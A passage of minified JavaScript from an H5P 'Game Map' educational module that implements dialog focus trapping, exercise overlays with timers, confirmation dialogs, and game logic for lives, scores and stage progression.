s.callOnceVisible(this.params.trapElement,(()=&gt;{this.handleVisible()}),{root:document.documentElement})))},t.deactivate=function(){this.isActivated&amp;&amp;(this.observer?.unobserve(this.params.trapElement),this.observer?.disconnect(),this.params.trapElement.removeEventListener(&quot;keydown&quot;,this.handleKeydownEvent,!0),this.isActivated=!1)},t.updateFocusableElements=function(){this.params.trapElement&amp;&amp;(this.focusableElements=this.getFocusableElements(this.params.trapElement))},t.getFocusableElements=function(e){if(!e)return;const t=[&quot;a[href]:not([disabled])&quot;,&quot;button:not([disabled])&quot;,&quot;textarea:not([disabled])&quot;,&quot;input:not([disabled])&quot;,&quot;select:not([disabled])&quot;,&quot;video&quot;,&quot;audio&quot;,&#039;[tabindex]:not([tabindex=&quot;-1&quot;])&#039;].join(&quot;, &quot;);return[].slice.call(e.querySelectorAll(t)).filter((e=&gt;&quot;true&quot;!==e.getAttribute(&quot;disabled&quot;)&amp;&amp;!0!==e.getAttribute(&quot;disabled&quot;)))},t.isChild=function(e){if(!this.params.trapElement)return!1;const t=e.parentNode;return!!t&amp;&amp;(t===this.params.trapElement||this.isChild(t))},t.handleVisible=function(){this.updateFocusableElements(),this.params.trapElement.addEventListener(&quot;keydown&quot;,this.handleKeydownEvent,!0),this.currentFocusElement=null,this.params.initialFocus&amp;&amp;this.isChild(this.params.initialFocus)&amp;&amp;(this.currentFocusElement=this.params.initialFocus),!this.currentFocusElement&amp;&amp;this.focusableElements.length&amp;&amp;(this.focusableElements[0]===this.params.closeElement&amp;&amp;this.params.fallbackContainer?.firstChild&amp;&amp;1===this.focusableElements.length?(this.params.fallbackContainer.firstChild.setAttribute(&quot;tabindex&quot;,&quot;-1&quot;),this.currentFocusElement=this.params.fallbackContainer.firstChild):this.currentFocusElement=this.focusableElements[0]),this.currentFocusElement&amp;&amp;this.currentFocusElement.focus()},t.handleKeydownEvent=function(e){if(this.updateFocusableElements(),!this.focusableElements.length)return;if(&quot;Tab&quot;!==e.key)return;e.preventDefault();const t=this.focusableElements.findIndex((e=&gt;e===this.currentFocusElement)),i=this.focusableElements.length,a=e.shiftKey?(t+i-1)%i:(t+1)%i;this.currentFocusElement=this.focusableElements[a],this.currentFocusElement.focus()},e}(),B=function(){function e(){this.handleNotifyingEnded=this.handleNotifyingEnded.bind(this),this.dom=document.createElement(&quot;div&quot;),this.dom.classList.add(&quot;h5p-game-map-exercise-headline-timer&quot;),this.hide()}var t=e.prototype;return t.getDOM=function(){return this.dom},t.show=function(){&quot;&quot;!==(this.dom.innerText||&quot;&quot;)&amp;&amp;this.dom.classList.remove(&quot;display-none&quot;)},t.hide=function(){this.dom.classList.add(&quot;display-none&quot;),this.handleNotifyingEnded()},t.setTime=function(e){if(null===e||&quot;&quot;===e)return this.dom.innerText=&quot;&quot;,void this.hide();const t=c.toTimecode(e);t&amp;&amp;(this.dom.innerText=t,this.show())},t.setTimeoutWarning=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]&amp;&amp;arguments[0];!this.isTimeoutwarning&amp;&amp;e&amp;&amp;this.notify(),this.isTimeoutwarning=e,this.dom.classList.toggle(&quot;timeout-warning&quot;,e)},t.notify=function(){this.dom.addEventListener(&quot;animationend&quot;,this.handleNotifyingEnded),this.dom.classList.add(&quot;notify-animation&quot;)},t.handleNotifyingEnded=function(){this.dom.removeEventListener(&quot;animationend&quot;,this.handleNotifyingEnded),this.dom.classList.remove(&quot;notify-animation&quot;)},e}(),N=function(){function e(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this.params=s.extend({},e),this.callbacks=s.extend({onClosed:()=&gt;{},onOpenAnimationEnded:()=&gt;{},onCloseAnimationEnded:()=&gt;{}},t),this.handleOpenAnimationEnded=this.handleOpenAnimationEnded.bind(this),this.handleCloseAnimationEnded=this.handleCloseAnimationEnded.bind(this),this.handleGlobalClick=this.handleGlobalClick.bind(this),this.handleKeyDown=this.handleKeyDown.bind(this),this.dom=document.createElement(&quot;div&quot;),this.dom.classList.add(&quot;h5p-game-map-exercise&quot;),this.dom.classList.add(&quot;transparent&quot;),this.dom.setAttribute(&quot;role&quot;,&quot;dialog&quot;),this.dom.setAttribute(&quot;aria-modal&quot;,&quot;true&quot;),this.contentContainer=document.createElement(&quot;div&quot;),this.contentContainer.classList.add(&quot;h5p-game-map-exercise-content-container&quot;),this.contentContainer.classList.add(&quot;transparent&quot;),this.contentContainer.classList.add(&quot;offscreen&quot;),this.dom.append(this.contentContainer),this.content=document.createElement(&quot;div&quot;),this.content.classList.add(&quot;h5p-game-map-exercise-content&quot;),this.contentContainer.append(this.content),this.buttonClose=document.createElement(&quot;button&quot;),this.buttonClose.classList.add(&quot;h5p-game-map-exercise-button-close&quot;),this.buttonClose.setAttribute(&quot;aria-label&quot;,this.params.dictionary.get(&quot;a11y.close&quot;)),this.buttonClose.addEventListener(&quot;click&quot;,(()=&gt;{this.callbacks.onClosed()})),this.contentContainer.append(this.buttonClose);const i=document.createElement(&quot;div&quot;);i.classList.add(&quot;h5p-game-map-exercise-headline&quot;),this.content.append(i),this.headlineText=document.createElement(&quot;div&quot;),this.headlineText.classList.add(&quot;h5p-game-map-exercise-headline-text&quot;),i.append(this.headlineText),this.timerDisplay=new B,i.append(this.timerDisplay.getDOM()),this.h5pInstance=document.createElement(&quot;div&quot;),this.h5pInstance.classList.add(&quot;h5p-game-map-exercise-instance-container&quot;),this.content.append(this.h5pInstance),this.focusTrap=new R({trapElement:this.dom,closeElement:this.buttonClose,fallbackContainer:this.h5pInstance})}var t=e.prototype;return t.getDOM=function(){return this.dom},t.show=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.dom.classList.remove(&quot;display-none&quot;),e.isShowingSolutions?this.timerDisplay.hide():this.timerDisplay.show(),window.requestAnimationFrame((()=&gt;{this.dom.classList.remove(&quot;transparent&quot;),this.params.globals.get(&quot;params&quot;).visual.misc.useAnimation?this.contentContainer.addEventListener(&quot;animationend&quot;,this.handleOpenAnimationEnded):this.handleOpenAnimationEnded(),this.animate(&quot;bounce-in&quot;,(()=&gt;{this.focusTrap.activate()})),this.contentContainer.classList.remove(&quot;offscreen&quot;),document.addEventListener(&quot;click&quot;,this.handleGlobalClick),document.addEventListener(&quot;keydown&quot;,this.handleKeyDown)})),window.setTimeout((()=&gt;{this.contentContainer.classList.remove(&quot;transparent&quot;)}),100)},t.hide=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},t=arguments.length&gt;1?arguments[1]:void 0;document.removeEventListener(&quot;click&quot;,this.handleGlobalClick),document.removeEventListener(&quot;keydown&quot;,this.handleKeyDown),e.animate?(this.dom.classList.add(&quot;transparent&quot;),this.params.globals.get(&quot;params&quot;).visual.misc.useAnimation?this.animate(&quot;bounce-out&quot;,(()=&gt;{this.handleCloseAnimationEnded(),&quot;function&quot;==typeof t&amp;&amp;t()})):(this.handleCloseAnimationEnded(),&quot;function&quot;==typeof t&amp;&amp;t())):(this.contentContainer.classList.add(&quot;transparent&quot;),this.contentContainer.classList.add(&quot;offscreen&quot;),this.dom.classList.add(&quot;display-none&quot;),this.dom.classList.add(&quot;transparent&quot;),&quot;function&quot;==typeof t&amp;&amp;t()),this.focusTrap.deactivate()},t.setH5PContent=function(e){this.h5pInstance.innerHTML=&quot;&quot;,this.h5pInstance.appendChild(e)},t.setTitle=function(e){e=s.purifyHTML(e),this.headlineText.innerText=e,this.dom.setAttribute(&quot;aria-label&quot;,this.params.dictionary.get(&quot;a11y.exerciseLabel&quot;).replace(/@stagelabel/,e))},t.setTime=function(e){let t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this.timerDisplay.setTime(e),this.timerDisplay.setTimeoutWarning(t.timeoutWarning)},t.setScreenOffset=function(t){const i=(a=Math.max(e.MAPSIZE_MIN_PX,Math.min(t,e.MAPSIZE_MAX_PX)),s=e.MAPSIZE_MIN_PX,r=e.MAPSIZE_MAX_PX,n=e.OFFSET_MIN_REM,o=e.OFFSET_MAX_REM,n+(o-n)*(a-s)/(r-s));var a,s,r,n,o;this.dom.style.setProperty(&quot;--exercise-screen-offset&quot;,`${i}rem`)},t.getSize=function(){const e=this.dom.getBoundingClientRect();return{width:e.width,height:e.height}},t.animate=function(e,t){&quot;string&quot;!=typeof e||this.isAnimating||this.params.globals.get(&quot;params&quot;).visual.misc.useAnimation&amp;&amp;(this.isAnimating=!0,m(this.contentContainer,e,(()=&gt;{this.isAnimating=!1,t()})))},t.handleOpenAnimationEnded=function(){this.contentContainer.removeEventListener(&quot;animationend&quot;,this.handleOpenAnimationEnded),this.callbacks.onOpenAnimationEnded()},t.handleCloseAnimationEnded=function(){this.contentContainer.removeEventListener(&quot;animationend&quot;,this.handleCloseAnimationEnded),this.contentContainer.classList.add(&quot;transparent&quot;),this.contentContainer.classList.add(&quot;offscreen&quot;),this.dom.classList.add(&quot;display-none&quot;),this.callbacks.onCloseAnimationEnded()},t.handleGlobalClick=function(e){this.isAnimating||!e.target.isConnected||this.content.contains(e.target)||this.callbacks.onClosed()},t.handleKeyDown=function(e){&quot;Escape&quot;===e.key&amp;&amp;(e.preventDefault(),this.callbacks.onClosed())},e}();N.OFFSET_MIN_REM=2,N.OFFSET_MAX_REM=4,N.MAPSIZE_MIN_PX=480,N.MAPSIZE_MAX_PX=640;let P=function(){function e(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this.params=s.extend({},e),this.dom=document.createElement(&quot;div&quot;),this.dom.classList.add(&quot;h5p-game-map-confirmation-dialog&quot;),this.dom.addEventListener(&quot;click&quot;,(e=&gt;{e.stopPropagation()})),window.matchMedia(&quot;(prefers-reduced-motion: reduce)&quot;)?.matches&amp;&amp;this.dom.classList.add(&quot;prefers-reduced-motion&quot;),this.update(e,t)}var t=e.prototype;return t.getDOM=function(){return this.dom},t.update=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};e=s.extend({},e),e.instance=e.instance??this.params.globals.get(&quot;mainInstance&quot;),t=s.extend({onConfirmed:()=&gt;{},onCanceled:()=&gt;{}},t),this.dialog&amp;&amp;(this.dialog.off(&quot;confirmed&quot;),this.dialog.off(&quot;canceled&quot;),this.dialog.getElement().classList.contains(&quot;hidden&quot;)||this.dialog.hide()),this.dialog=new H5P.ConfirmationDialog(e),this.dialog.once(&quot;confirmed&quot;,(()=&gt;{this.dialog.off(&quot;canceled&quot;),this.isShowing=!1,t.onConfirmed()})),this.dialog.once(&quot;canceled&quot;,(()=&gt;{this.dialog.off(&quot;confirmed&quot;),this.isShowing=!1,t.onCanceled()})),this.dom.innerHTML=&quot;&quot;,this.dialog.appendTo(this.dom)},t.show=function(){this.dialog.show(),this.isShowing=!0},t.hide=function(){this.isShowing&amp;&amp;(this.dialog.hide(),this.isShowing=!1)},e}(),H=function(){function e(){}var t=e.prototype;return t.grabH5PQuestionFeedback=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};const t=this.dom.closest(&quot;.h5p-question-content&quot;);if(!t)return null;const i=t.parentNode;if(!i)return null;const a=this.params.globals.get(&quot;mainInstance&quot;);a.setFeedback(&quot;&quot;,0,e.maxScore);const s=document.createElement(&quot;div&quot;);s.classList.add(&quot;h5p-game-map-feedback-wrapper&quot;);const r=i.querySelector(&quot;.h5p-question-feedback&quot;);r&amp;&amp;s.append(r.parentNode.removeChild(r));const n=i.querySelector(&quot;.h5p-question-scorebar&quot;);return n&amp;&amp;(s.append(n.parentNode.removeChild(n)),0===e.maxScore&amp;&amp;n.classList.add(&quot;display-none&quot;)),a.removeFeedback(),s},t.buildDOM=function(){this.dom=document.createElement(&quot;div&quot;),this.dom.classList.add(&quot;h5p-game-map-container&quot;);const e=this.params.globals.get(&quot;params&quot;);e.showTitleScreen&amp;&amp;(this.startScreen=new k({id:&quot;start&quot;,contentId:this.params.globals.get(&quot;contentId&quot;),introduction:e.titleScreen.titleScreenIntroduction,medium:e.titleScreen.titleScreenMedium,buttons:[{id:&quot;start&quot;,text:this.params.dictionary.get(&quot;l10n.start&quot;)}],a11y:{screenOpened:this.params.dictionary.get(&quot;a11y.startScreenWasOpened&quot;)}},{onButtonClicked:()=&gt;{this.show({focusButton:!0,readOpened:!0})},read:e=&gt;{this.params.globals.get(&quot;read&quot;)(e)}}),this.startScreen.hide(),this.dom.append(this.startScreen.getDOM()));const t=[];e.behaviour.enableSolutionsButton&amp;&amp;t.push({id:&quot;show-solutions&quot;,text:this.params.dictionary.get(&quot;l10n.showSolutions&quot;),className:&quot;h5p-joubelui-button&quot;}),e.behaviour.enableRetry&amp;&amp;t.push({id:&quot;restart&quot;,text:this.params.dictionary.get(&quot;l10n.restart&quot;),className:&quot;h5p-joubelui-button&quot;}),this.endScreen=new A({id:&quot;end&quot;,contentId:this.params.globals.get(&quot;contentId&quot;),buttons:t,a11y:{screenOpened:this.params.dictionary.get(&quot;a11y.endScreenWasOpened&quot;)}},{onButtonClicked:e=&gt;{&quot;restart&quot;===e?this.callbacks.onRestarted():&quot;show-solutions&quot;===e&amp;&amp;(this.showSolutions(),this.params.globals.get(&quot;read&quot;)(this.params.dictionary.get(&quot;a11y.mapSolutionsWasOpened&quot;)),window.setTimeout((()=&gt;{this.toolbar.focus()}),100))},read:e=&gt;{this.params.globals.get(&quot;read&quot;)(e)}}),this.endScreen.hide(),this.dom.append(this.endScreen.getDOM()),this.contentDOM=document.createElement(&quot;div&quot;),this.contentDOM.classList.add(&quot;h5p-game-map-main&quot;),this.dom.append(this.contentDOM);const i=[];this.params.jukebox.getAudioIds().length&amp;&amp;i.push({id:&quot;audio&quot;,type:&quot;toggle&quot;,a11y:{active:this.params.dictionary.get(&quot;a11y.buttonAudioActive&quot;),inactive:this.params.dictionary.get(&quot;a11y.buttonAudioInactive&quot;)},onClick:(e,t)=&gt;{this.toggleAudio(t.active)}}),i.push({id:&quot;finish&quot;,type:&quot;pulse&quot;,a11y:{active:this.params.dictionary.get(&quot;a11y.buttonFinish&quot;)},onClick:()=&gt;{this.showFinishConfirmation()}}),this.params.globals.get(&quot;isFullscreenSupported&quot;)&amp;&amp;i.push({id:&quot;fullscreen&quot;,type:&quot;pulse&quot;,pulseStates:[{id:&quot;enter-fullscreen&quot;,label:this.params.dictionary.get(&quot;a11y.enterFullscreen&quot;)},{id:&quot;exit-fullscreen&quot;,label:this.params.dictionary.get(&quot;a11y.exitFullscreen&quot;)}],onClick:()=&gt;{this.callbacks.onFullscreenClicked()}}),this.toolbar=new q({dictionary:this.params.dictionary,...e.headline&amp;&amp;{headline:e.headline},buttons:i,statusContainers:[{id:&quot;timer&quot;},{id:&quot;lives&quot;},{id:&quot;stages&quot;,hasMaxValue:!0},{id:&quot;score&quot;,hasMaxValue:!0}],useAnimation:e.visual.misc.useAnimation}),this.contentDOM.append(this.toolbar.getDOM());const a=H5P.getPath(e?.gamemapSteps?.backgroundImageSettings?.backgroundImage?.path??&quot;&quot;,this.params.globals.get(&quot;contentId&quot;));this.stages=new w({dictionary:this.params.dictionary,globals:this.params.globals,jukebox:this.params.jukebox,elements:e.gamemapSteps.gamemap.elements,visuals:e.visual.stages},{onStageClicked:(e,t)=&gt;{this.handleStageClicked(e,t)},onStageStateChanged:(e,t)=&gt;{this.handleStageStateChanged(e,t)},onFocused:()=&gt;{this.handleStageFocused()},onBecameActiveDescendant:e=&gt;{this.handleStageBecameActiveDescendant(e)},onAddedToQueue:(e,t)=&gt;{this.handleStageAddedToQueue(e,t)},onAccessRestrictionsHit:e=&gt;{this.handleStageAccessRestrictionsHit(e)}}),this.paths=new d({globals:this.params.globals,elements:e.gamemapSteps.gamemap.elements,visuals:e.visual.paths.style}),this.map=new D({dictionary:this.params.dictionary,globals:this.params.globals,backgroundImage:a,paths:this.paths,stages:this.stages},{onImageLoaded:()=&gt;{this.params.globals.get(&quot;resize&quot;)(),window.requestAnimationFrame((()=&gt;{this.params.globals.get(&quot;resize&quot;)()}))}}),this.contentDOM.append(this.map.getDOM()),this.exercises=new O({dictionary:this.params.dictionary,globals:this.params.globals,jukebox:this.params.jukebox,elements:e.gamemapSteps.gamemap.elements},{onStateChanged:(e,t)=&gt;{this.handleExerciseStateChanged(e,t)},onScoreChanged:(e,t)=&gt;{this.handleExerciseScoreChanged(e,t)},onTimerTicked:(e,t,i)=&gt;{this.handleExerciseTimerTicked(e,t,i)},onTimeoutWarning:e=&gt;{this.handleExerciseTimeoutWarning(e)},onTimeout:e=&gt;{this.handleExerciseTimeout(e)},onContinued:()=&gt;{this.handleExerciseScreenClosed()}}),this.exerciseScreen=new N({dictionary:this.params.dictionary,globals:this.params.globals},{onClosed:()=&gt;{this.handleExerciseScreenClosed()},onOpenAnimationEnded:()=&gt;{this.handleExerciseScreenOpenAnimationEnded()},onCloseAnimationEnded:()=&gt;{this.handleExerciseScreenCloseAnimationEnded()}}),this.exerciseScreen.hide(),this.toolbar.enable(),this.map.getDOM().append(this.exerciseScreen.getDOM()),this.confirmationDialog=new P({globals:this.params.globals}),this.dom.append(this.confirmationDialog.getDOM())},t.startVisibilityObserver=function(){document.addEventListener(&quot;visibilitychange&quot;,(()=&gt;{document.hidden?(this.unmuteWhenVisible=!this.params.jukebox.isMuted(&quot;backgroundMusic&quot;),this.params.jukebox.muteAll()):!0===this.unmuteWhenVisible&amp;&amp;(this.params.jukebox.unmuteAll(),this.params.jukebox.play(&quot;backgroundMusic&quot;))}))},t.reset=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.toolbar.toggleHintFinishButton(!1),this.toolbar.toggleHintTimer(!1),this.params.jukebox.muteAll(),this.stageAttentionSeekerTimeout=null,this.hasUserMadeProgress=!1;const t=this.params.globals.get(&quot;params&quot;),i=this.params.globals.get(&quot;extras&quot;)?.previousState?.content??{};e.isInitial&amp;&amp;&quot;number&quot;==typeof i.livesLeft?this.livesLeft=i.livesLeft:this.livesLeft=t.behaviour.lives??1/0,e.isInitial&amp;&amp;&quot;number&quot;==typeof i.timeLeft?this.resetTimer(i.timeLeft):&quot;number&quot;==typeof this.params.globals.get(&quot;params&quot;).behaviour.timeLimitGlobal&amp;&amp;this.resetTimer(1e3*this.params.globals.get(&quot;params&quot;).behaviour.timeLimitGlobal),0===this.livesLeft&amp;&amp;this.stages.forEach((e=&gt;{e.setState(&quot;sealed&quot;)})),this.gameDone=!!e.isInitial&amp;&amp;(i.gameDone??!1),this.stages.togglePlayfulness(!0),this.stagesGameOverState=[],this.currentStageIndex=0,this.confirmationDialog.hide(),this.fullScoreWasAnnounced=!1,this.openExerciseId=!1,this.callbackQueue.setSkippable(!0),this.queueAnimation=[],this.scheduledAnimations=[],e.isInitial||(this.isShowingSolutions=!1),this.toolbar.toggleSolutionMode(!1),this.paths.reset({isInitial:e.isInitial}),this.stages.reset({isInitial:e.isInitial}),this.exercises.resetAll({isInitial:e.isInitial}),&quot;all&quot;===t.behaviour.map.fog&amp;&amp;(this.stages.forEach((e=&gt;{e.show()})),this.paths.forEach((e=&gt;{e.show()}))),&quot;free&quot;===t.behaviour.map.roaming&amp;&amp;(this.stages.forEach((e=&gt;{e.setState(&quot;open&quot;)})),this.paths.forEach((e=&gt;{e.setState(&quot;cleared&quot;),e.show()})));const a=this.stages.setStartStages();this.stages.updateReachability(a),this.paths.updateReachability(a),this.exercises.updateReachability(a),this.toolbar.setStatusContainerStatus(&quot;lives&quot;,{value:this.livesLeft});const s={state:[this.params.globals.get(&quot;states&quot;).completed,this.params.globals.get(&quot;states&quot;).cleared]};this.toolbar.setStatusContainerStatus(&quot;stages&quot;,{value:this.stages.getCount({filters:s}),maxValue:this.stages.getCount()}),this.toolbar.setStatusContainerStatus(&quot;score&quot;,{value:this.getScore(),maxValue:this.getMaxScore()}),this.getScore()&gt;=this.getMaxScore()&amp;&amp;(this.fullScoreWasAnnounced=!0,this.toolbar.toggleHintFinishButton(!0)),this.isAudioOn=this.isAudioOn??!1,this.isAudioOn&amp;&amp;(this.params.jukebox.unmuteAll(),this.params.jukebox.play(&quot;backgroundMusic&quot;))},e}(),V=function(){function e(){}var t=e.prototype;return t.addExtraLives=function(e){&quot;number&quot;!=typeof e||e&lt;1||this.livesLeft===1/0||(this.livesLeft+=e,this.toolbar.setStatusContainerStatus(&quot;lives&quot;,{value:this.livesLeft}),this.params.jukebox.play(&quot;gainedLife&quot;))},t.handleStageClicked=function(e){const t=this.stages.getStage(e),i=t.getType();if(i===b.stage){this.stages.disable(),window.clearTimeout(this.stageAttentionSeekerTimeout);const i=this.exercises.getExercise(e),a=i.getRemainingTime();if(&quot;number&quot;==typeof a&amp;&amp;this.exerciseScreen.setTime(a),this.openExerciseId=e,this.callbackQueue.setSkippable(!1),this.exerciseScreen.setH5PContent(i.getDOM()),this.exerciseScreen.setTitle(t.getLabel()),this.params.jukebox.stopGroup(&quot;default&quot;),this.exerciseScreen.show({isShowingSolutions:this.isShowingSolutions}),this.toolbar.disable(),this.exercises.start(e),this.params.globals.get(&quot;params&quot;).audio.backgroundMusic.muteDuringExercise&amp;&amp;this.params.jukebox.fade(&quot;backgroundMusic&quot;,{type:&quot;out&quot;,time:this.musicFadeTime}),this.params.jukebox.play(&quot;openExercise&quot;),!this.isShowingSolutions){const t=this.params.globals.get(&quot;params&quot;).gamemapSteps.gamemap.elements.findIndex((t=&gt;t.id===e));this.currentStageIndex=t+1,this.hasUserMadeProgress=!0,this.callbacks.onProgressChanged(this.currentStageIndex)}}else if(i===b[&quot;special-stage&quot;]&amp;&amp;!this.isShowingSolutions){const e=this.params.globals.get(&quot;states&quot;);t.getState()===e.open&amp;&amp;t.runSpecialFeature(this)}window.requestAnimationFrame((()=&gt;{this.params.globals.get(&quot;resize&quot;)()}))},t.handleSpecialFeatureRun=function(e){&quot;extra-life&quot;===e?this.toolbar.animateStatusContainer(&quot;lives&quot;,&quot;pulse&quot;):&quot;extra-time&quot;===e&amp;&amp;this.toolbar.animateStatusContainer(&quot;timer&quot;,&quot;pulse&quot;)},t.handleStageStateChanged=function(e,t){if(!this.isShowingSolutions&amp;&amp;(this.paths&amp;&amp;this.callbackQueue.add((()=&gt;{this.paths.updateState(e,t)})),this.stages)){this.stages.updateNeighborsState(e,t);const i={state:[this.params.globals.get(&quot;states&quot;).completed,this.params.globals.get(&quot;states&quot;).cleared]};this.toolbar.setStatusContainerStatus(&quot;stages&quot;,{value:this.stages.getCount({filters:i}),maxValue:this.stages.getCount()})}},t.handleStageFocused=function(){window.setTimeout((()=&gt;{this.params.globals.get(&quot;read&quot;)(this.params.dictionary.get(&quot;a11y.applicationInstructions&quot;))}),250)},t.handleStageBecameActiveDescendant=function(e){this.map?.setActiveDescendant(e)},t.handleStageAddedToQueue=function(e,t){this.callbackQueue.add(e,t)},t.handleStageAccessRestrictionsHit=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};if(!e.minScore)return;this.toolbar.disableButton(&quot;finish&quot;);const t=[];e.minScore&amp;&amp;t.push(this.params.dictionary.get(&quot;l10n.confirmAccessDeniedMinScore&quot;).replace(/@minscore/gi,e.minScore));let i=t.map((e=&gt;`&lt;li&gt;${e}&lt;/li&gt;`)).join(&quot;&quot;);i=`&lt;ul&gt;${i}&lt;/ul&gt;`,this.confirmationDialog.update({headerText:this.params.dictionary.get(&quot;l10n.confirmAccessDeniedHeader&quot;),dialogText:`${this.params.dictionary.get(&quot;l10n.confirmAccessDeniedDialog&quot;)}${i}`,confirmText:this.params.dictionary.get(&quot;l10n.ok&quot;),hideCancel:!0},{onConfirmed:()=&gt;{this.toolbar.enableButton(&quot;finish&quot;)},onCanceled:()=&gt;{this.toolbar.enableButton(&quot;finish&quot;)}}),this.confirmationDialog.show()},e}(),U=function(){function e(){}var t=e.prototype;return t.handleExerciseStateChanged=function(e,t){this.isShowingSolutions||this.stages.updateState(e,t)},t.handleExerciseScoreChanged=function(e){let t=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this.gameDone||(this.fullScoreWasAnnounced||this.getScore()!==this.getMaxScore()||(this.fullScoreWasAnnounced=!0,this.callbackQueue.add((()=&gt;{this.params.jukebox.play(&quot;fullScore&quot;),this.showFullScoreConfirmation()}))),this.stages.updateUnlockingStages(),&quot;number&quot;==typeof t.score&amp;&amp;t.score!==t.maxScore&amp;&amp;this.handleIncompleteScore(e),this.toolbar.setStatusContainerStatus(&quot;score&quot;,{value:this.getScore(),maxValue:this.getMaxScore()}))},t.handleIncompleteScore=function(){this.livesLeft!==1/0&amp;&amp;(this.handleLostLife(),this.livesLeft&gt;0&amp;&amp;this.showIncompleteScoreConfirmation())},t.handleExerciseTimerTicked=function(e,t,i){e&amp;&amp;e===this.openExerciseId&amp;&amp;this.exerciseScreen.setTime(t,i)},t.handleExerciseTimeoutWarning=function(e){e&amp;&amp;e===this.openExerciseId&amp;&amp;this.params.jukebox.play(&quot;timeoutWarning&quot;)},t.handleExerciseTimeout=function(e){e&amp;&amp;e===this.openExerciseId&amp;&amp;(this.handleLostLife(),this.livesLeft&gt;0&amp;&amp;this.handleExerciseScreenClosed({animationEndedCallback:()=&gt;{this.exercises.reset(e),this.showTimeoutConfirmation()}}))},t.handleLostLife=function(){0!==this.livesLeft&amp;&amp;(this.livesLeft--,this.params.jukebox.play(&quot;lostLife&quot;),this.toolbar.setStatusContainerStatus(&quot;lives&quot;,{value:this.livesLeft}),0===this.livesLeft&amp;&amp;(this.queueAnimation=[],this.stagesGameOverState=this.stages.getCurrentState(),this.stages.forEach((e=&gt;{e.setState(&quot;sealed&quot;)})),this.handleExerciseScreenClosed({animationEndedCallback:()=&gt;{this.showGameOverConfirmation()}})))},e}(),j=function(){function e(){}var t=e.prototype;return t.handleExerciseScreenClosed=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.openExerciseId&amp;&amp;(this.exerciseClosedCallback=e.animationEndedCallback,this.map.dom.setAttribute(&quot;aria-label&quot;,this.params.dictionary.get(&quot;a11y.applicationInstructions&quot;)),this.exerciseScreen.hide({animate:!0},(()=&gt;{this.exerciseScreen.setTime(&quot;&quot;),this.stages.getStage(this.openExerciseId)?.focus({skipNextFocusHandler:!0}),this.openExerciseId=!1,this.callbackQueue.setSkippable(!0),this.params.globals.get(&quot;resize&quot;)()})),this.toolbar.enable(),this.params.jukebox.stopGroup(&quot;default&quot;),this.params.jukebox.play(&quot;closeExercise&quot;),this.params.globals.get(&quot;params&quot;).audio.backgroundMusic.muteDuringExercise&amp;&amp;this.params.jukebox.fade(&quot;backgroundMusic&quot;,{type:&quot;in&quot;,time:this.musicFadeTime}),this.stages.enable(),this.exercises.stop(this.openExerciseId))},t.handleExerciseScreenOpenAnimationEnded=function(){this.params.globals.get(&quot;resize&quot;)()},t.handleExerciseScreenCloseAnimationEnded=function(){this.gameDone?this.queueAnimation=[]:(this.callbackQueue.scheduleQueued(),this.exerciseClosedCallback&amp;&amp;(this.exerciseClosedCallback(),this.exerciseClosedCallback=null))},e}(),G=function(){function e(){}var t=e.prototype;return t.getXAPIData=function(){return this.exercises.getXAPIData()},t.getAnswerGiven=function(){return this.exercises.getAnswerGiven()||this.hasUserMadeProgress},t.getScore=function(){return Math.min(this.exercises.getScore(),this.getMaxScore())},t.getMaxScore=function(){const e=this.exercises.getMaxScore(),t=this.params.globals.get(&quot;params&quot;).behaviour.finishScore;return Math.min(t,e)},t.getContext=function(){return{type:&quot;stage&quot;,value:this.currentStageIndex}},t.showSolutions=function(){this.gameDone=!0,this.confirmationDialog.hide(),this.endScreen.hide(),this.stagesGameOverState.forEach((e=&gt;{this.stages.updateState(e.id,e.state)})),this.params.jukebox.stopAll(),this.show(),this.exercises.showSolutions(),this.isShowingSolutions=!0,this.toolbar.toggleSolutionMode(!0)},t.getCurrentState=function(){return{exercises:this.exercises.getCurrentState(),stages:this.stages.getCurrentState(),paths:this.paths.getCurrentState(),...this.livesLeft&amp;&amp;this.livesLeft!==1/0&amp;&amp;{livesLeft:this.livesLeft},...this.timeLeft&amp;&amp;{timeLeft:this.timeLeft},...this.gameDone&amp;&amp;{gameDone:this.gameDone}}},e}(),z=function(){function e(){}var t=e.prototype;return t.initializeTimer=function(){this.params.globals.get(&quot;params&quot;).behaviour.timeLimitGlobal&amp;&amp;(this.timer=new c({interval:500},{onTick:()=&gt;{this.timeLeft=this.timer.getTime();this.isTimeoutWarning()&amp;&amp;(this.hasPlayedTimeoutWarningGlobal=!0,this.params.jukebox.play(&quot;timeoutWarning&quot;),this.toolbar.toggleHintTimer(!0)),this.toolbar.setStatusContainerStatus(&quot;timer&quot;,{value:c.toTimecode(this.timeLeft)})},onExpired:()=&gt;{this.showGameOverConfirmation(&quot;confirmGameOverDialogTimeout&quot;)}}))},t.isTimeoutWarning=function(){if(this.hasPlayedTimeoutWarningGlobal)return!1;const e=this.params.globals.get(&quot;params&quot;).behaviour.timeoutWarningGlobal;return&quot;number&quot;==typeof e&amp;&amp;this.timeLeft&lt;=1e3*e},t.addExtraTime=function(e){&quot;number&quot;!=typeof e||e&lt;1||!this.timer||(this.timer.setTime(this.timer.getTime()+1e3*e),this.toolbar.setStatusContainerStatus(&quot;timer&quot;,{value:c.toTimecode(this.timer.getTime())}),this.params.jukebox.play(&quot;extraTime&quot;))},t.resetTimer=function(e){&quot;number&quot;!=typeof 